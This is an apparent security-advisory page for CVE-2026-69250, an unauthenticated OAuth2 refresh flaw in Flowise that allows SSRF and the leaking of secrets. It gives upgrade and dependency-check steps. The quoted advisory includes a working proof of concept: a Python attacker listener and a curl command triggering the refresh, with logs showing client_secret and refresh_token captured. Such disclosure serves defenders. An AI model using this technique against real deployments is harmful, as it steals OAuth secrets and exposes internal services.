CVE-2026-69250: Flowise Unauthenticated OAuth2 Refresh Enables Non-Blind Vulnerability

HIGH
Advisory Identifier: GHSA-r745-8hwv-h473
CWE-639
Published
Advisory Summary

CVE-2026-69250 is a HIGH unauthenticated oauth2 refresh enables non-blind vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Flowise libraries in the npm ecosystem. The issue involves unauthenticated oauth2 refresh enables non-blind ssrf and secret exfiltration. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-69250 at a Glance

CVE Identifier CVE-2026-69250
GHSA Identifier GHSA-r745-8hwv-h473
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-69250

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-69250, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration. ### Details The vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`. Confirmed in runtime code: 1. **Unauthenticated route via whitelist** - `dist/utils/constants.js` includes: - `/api/v1/oauth2-credential/callback` - `/api/v1/oauth2-credential/refresh` - `dist/index.js` auth middleware uses: - `const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))` - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted. 2. **User-controlled SSRF target** - In refresh handler (`dist/routes/oauth2/index.js`): - loads credential by `credentialId` - decrypts credential data - reads `accessTokenUrl` - executes: - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)` - No `secureAxiosRequest()` / denylist wrapper is used in this path. 3. **Non-blind response reflection** - Response returns: - `tokenInfo: { ...tokenData, ... }` - `tokenData` is the attacker/internal server response body. 4. **Secrets sent to SSRF target** - Request body includes: - `client_id` - `client_secret` - `grant_type=refresh_token` - `refresh_token` ### PoC #### Environment used - `flowiseai/flowise:latest` container (`localhost:3000`) - Attacker server (`localhost:18081`) returning JSON #### Step 1: Start attacker server ```bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json class H(BaseHTTPRequestHandler): def do_POST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUEST_PATH', self.path, flush=True) print('REQUEST_BODY', b, flush=True) self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode()) def log_message(self, fmt, *args): pass HTTPServer(('0.0.0.0', 18081), H).serve_forever() PY ``` #### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action) In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly. Resulting credential ID used in runtime validation: - `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef` #### Step 3: Trigger refresh **without auth** ```bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}' ``` Observed response: ```json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echo_len": 76, "has_new_refresh_token": false } } ``` Attacker server logs captured: ```text REQUEST_PATH /token REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2 ``` This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (`tokenInfo`). ### Impact - **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration. - **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials. - **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - **Technical impact:** - outbound SSRF to attacker/internal targets, - direct leak of `client_secret` and `refresh_token` to SSRF target, - direct response read from target via API response (`tokenInfo`). - **Deployment impact:** - cloud/internal network reachability can expose metadata/internal services depending on egress controls.

CVE-2026-69250 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-69250?
CVE-2026-69250 is a security vulnerability in Flowise involving Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise.
What version fixes CVE-2026-69250?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-69250?
CVE-2026-69250 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check npm dependencies for CVE-2026-69250?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r745-8hwv-h473",
  "modified" : "2026-08-04T14:20:49Z",
  "published" : "2026-08-04T14:20:49Z",
  "aliases" : [ "CVE-2026-69250" ],
  "summary" : "Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration",
  "details" : "### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n   - `dist/utils/constants.js` includes:\n     - `/api/v1/oauth2-credential/callback`\n     - `/api/v1/oauth2-credential/refresh`\n   - `dist/index.js` auth middleware uses:\n     - `const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))`\n   - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n   - In refresh handler (`dist/routes/oauth2/index.js`):\n     - loads credential by `credentialId`\n     - decrypts credential data\n     - reads `accessTokenUrl`\n     - executes:\n       - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n   - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n   - Response returns:\n     - `tokenInfo: { ...tokenData, ... }`\n   - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n   - Request body includes:\n     - `client_id`\n     - `client_secret`\n     - `grant_type=refresh_token`\n     - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n    def do_POST(self):\n        l = int(self.headers.get('Content-Length','0'))\n        b = self.rfile.read(l).decode('utf-8', errors='replace')\n        print('REQUEST_PATH', self.path, flush=True)\n        print('REQUEST_BODY', b, flush=True)\n        self.send_response(200)\n        self.send_header('Content-Type','application/json')\n        self.end_headers()\n        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())\n    def log_message(self, fmt, *args):\n        pass\n\nHTTPServer(('0.0.0.0', 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n  -H 'Content-Type: application/json' \\\n  -d '{}'\n```\n\nObserved response:\n\n```json\n{\n  \"success\": true,\n  \"message\": \"OAuth2 token refreshed successfully\",\n  \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n  \"tokenInfo\": {\n    \"ok\": true,\n    \"source\": \"attacker-server\",\n    \"echo_len\": 76,\n    \"has_new_refresh_token\": false\n  }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n  - outbound SSRF to attacker/internal targets,\n  - direct leak of `client_secret` and `refresh_token` to SSRF target,\n  - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n  - cloud/internal network reachability can expose metadata/internal services depending on egress controls.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T14:20:49Z",
    "nvd_published_at" : null
  }
}